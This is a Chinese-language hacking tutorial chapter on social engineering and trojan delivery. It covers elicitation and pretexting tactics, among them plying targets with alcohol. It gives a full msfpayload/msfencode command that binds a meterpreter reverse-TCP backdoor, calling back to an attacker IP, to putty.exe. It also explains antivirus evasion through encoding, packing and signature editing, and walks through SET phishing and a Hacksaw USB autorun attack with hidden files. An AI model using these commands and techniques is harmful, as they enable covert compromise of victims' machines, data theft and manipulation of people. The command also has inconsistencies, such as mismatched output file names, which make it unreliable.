五.社工工程学
5.1社会工程系框架
5.1.1信息搜集
maltego是一个高度自动化的信息搜集工具,集成在BT5中,如果国内网络环境使用时无法获取结果,可能是无法与信息提供网站建立连接,可以使用VPN或代理服务器。
5.1.2诱导
1.提高诱导能力
表现自然,学习知识,不要贪心。
2.成功诱导的技巧
迎合目标的自我感觉
表达共同的兴趣
故意给出一个错误的陈述
抛出一些诱饵信息以寻求回报
假装知晓
借助酒精的威力,让目标更容易开口
3.问答的种类
开放式问答:无法只用“是”或“否”来回答问题
封闭式问答:回答比较确定
诱导性问答:组合了开放式和封闭式,期望诱导出一些回答信息
假设性问答:假设目标已经知晓某种信息
5.1.3托辞
设计一个虚构的场景来说服目标泄露信息。
1.提升设计托辞的能力
托辞的质量与信息搜集和诱导得到的信息密切相关。实践,实践!
2.设计托辞的原则
研究功课做得越充分,成功的概率越大
发挥你的个人兴趣或专长
联习方言和表达
充分利用电话
托辞设计越简单越好
让托辞看起来更自然
向目标提供一个合乎逻辑的结论。
5.2社会工程学案例--伪装木马
木马常见的伪装方式:
伪装成不可执行文件的图标
捆绑文件伪装
组合伪装
5.2.1木马程序的制作
制作一个木马,主要考虑以下三点:
①确定监听的IP和端口,木马需要回连这个IP的端口。
②把木马绑到一个合法程序上。
③木马植入后,迁移到不会关闭的进程上。
还要考虑木马的稳定性,兼容性,免杀等等。
1.使用metasploit中的msfpayload功能生成基本的攻击载荷程序
msfpayload -l |grep 'windows'|grep ‘reverse_tcp’|grep 'meterpreter'
-l用来列出攻击载荷,grep命令来查询所需要的攻击载荷模块。
在实际应用中建议修改回连监听端口为80,53等常用端口。
2.将攻击载荷绑定到Putty程序
msfpayload主要功能是将payload包装成一个可执行文件,或包装指定格式输出。用法如下:
执行msfpayload -h查看都有哪些参数:
Usage: /opt/metasploit/msf3/msfpayload [] [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
OPTIONS:
-h Help banner
-l List available payloads
#O--查看payload信息
#R--输出raw原始数据,可以被传输到另一个程序如msfencode或重定向到另一个文件
#C--输出c程序
msfencode主要功能是对输入的数据继续编码,然后将编码后的数据包装成一个指定文件。用法如下:
Usage: /opt/metasploit/msf3/msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff' //避免的字符
-c The number of times to encode the data //编码次数
-d Specify the directory in which to look for EXE templates
-e The encoder to use //选择使用哪种编码器
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders //列出所有可用的编码器
-m Specifies an additional module search path
-n Dump encoder information
-o The output file //输出文件
-p The platform to encode for
-s The maximum size of the encoded data
-t The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war //输出文件的格式
-v Increase verbosity
-x Specify an alternate executable template
3.制作木马程序
msfpayload /windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=80 R | msfencode -t exe -e x86/alpha_mixed -k -x /root/netcat/putty.exe -t elf -o dood_putty.exe -c 5
新生成的door_putty.exe就是木马后门了。
5.2.2木马的免杀处理
1.加密免杀
可以使用多重编码技术增强伪装木马的免杀能力,但是复杂的组合可能导致编码后的程序无法正常运行
2.加壳免杀
可以使用一些加壳工具对恶意代码进行加壳处理,比如UPX等
3.修改特征码免杀
大部分杀毒软件的根据就是对比特征码,对比硬盘中储存的文件的特征码,能全面地查杀,对比在内存中储存的文件特征码,可以快速的查杀,针对这一特性,可以用特征码定位软件定位文件特征码的所在之处,在用UltraEdit对被修改的特征码进行修改。一般的修改方法有:
十六进制的数据特征码直接修改法
字符串大小写修改法
等价替换法 把对应的汇编指令替换成功能类似的指令
指令顺序调换法
通用跳转法
修改特征码的方法针对性很强,但只能针对一款杀毒软件,因为各家杀毒软件的特征码不一样。
5.3社工攻击工具包SET
可进行制作钓鱼网站,钓鱼邮件等等,功能强大,
5.4U盘 Hacksaw攻击
向U盘写入木马程序,然后修改autorun.inf文件,让其指向木马安装程序,那么windows会运行这个程序。
一些隐藏木马的方式:
作为系统文件隐藏
伪装成其他文件
藏于系统文件夹中
运用windows漏洞建立路径不存在或者打不开的文件夹
制作Hacksaw U盘
Hacksaw是使用U盘进行攻击的软件,具体步骤如下:
1.下载安装工具UltraISO
2.下载Hcaksaw
3.解压下载的压缩包到一个单独目录
4.插入U盘
5.启动UltraISO,并打开先前解压后目录下的cruzer-autorun.iso
6.点击启动,写入硬盘映像
7.选择U盘并写入
8.把payload目录下的隐藏木马WIP及攻击载荷复制到准备好的U盘的跟目录下
9.修改WIP/SBS目录下的send.sat文件
10.需要autorun.inf文件 把shellexecute替换open
11.升级stunnel软件
12.把autorun.inf和go.vbe修改为隐藏文件